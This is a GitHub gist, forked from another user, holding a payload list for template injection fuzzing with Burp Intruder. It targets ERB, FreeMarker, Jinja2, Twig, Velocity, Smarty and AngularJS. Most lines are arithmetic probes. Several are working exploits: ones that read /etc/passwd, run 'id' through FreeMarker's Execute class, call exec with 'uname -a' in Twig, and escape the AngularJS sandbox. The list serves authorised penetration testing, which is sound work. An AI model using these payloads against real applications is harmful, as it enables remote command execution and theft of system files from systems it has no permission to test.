Forked from mgeeky/Server-Side-Template-Injection-Payloads.txt
Created
January 22, 2019 06:05
-
-
Save nani1337/7ff6e7607f03ba2ff45887c2c1dc7846 to your computer and use it in GitHub Desktop.
A collection of Client/Server -Side Template Injection payloads to be used in Burp's Intruder. Look for evaluted value: 1868686868 (=36692*50929), remove the first line.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##### LOOK FOR 1868686868 | |
<%= 36692 * 50929 %> | |
<%= File.open('/etc/passwd').read %> | |
${36692*50929} | |
18686{*xxxxxxxxxx*}86868 | |
${"18686".join("86868")} | |
${36692*'50929'} | |
${{36692*50929}} | |
${{36692*'50929'}} | |
{{36692*'50929'}} | |
{{36692*50929}} | |
[[36692*50929]] | |
${{36692*50929}} | |
${class.getClassLoader()} | |
${class.getResource("").getPath()} | |
{{self}} | |
{php}echo 36692*50929;{/php} | |
{{velocity}}36692*50929;{{/velocity}} | |
{{python}}36692*50929;{{/python}} | |
<#assign | |
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} | |
= root | |
= 36692 * 50929 | |
<% x=36692*50929 %>${x} | |
{{ [].class.base.subclasses() }} | |
{{''.class.mro()[1].subclasses()}} | |
{{ ''.__class__.__mro__[2].__subclasses__() }} | |
# ''.__class__.__mro__[2].__subclasses__()[40] = File class | |
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} | |
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} | |
{{request|attr(["_"*2,"class","_"*2]|join)}} | |
{{request|attr(["__","class","__"]|join)}} | |
{{request|attr("__class__")}} | |
{{request.__class__}} | |
1868686868{{''.__class__.__mro__[2].__subclasses__()[233]}}1868686868 | |
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("uname+-a")}} | |
$class | |
#set( $foo = "1868686868") $foo | |
#set( $foo = "1868686868") $foo.class | |
${fffffffffffffffffffffff} | |
{{ffffffffffffffffffff}} | |
[[ffffffffffffffffffffff]] | |
{{constructor.constructor('alert(1)')()}} | |
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment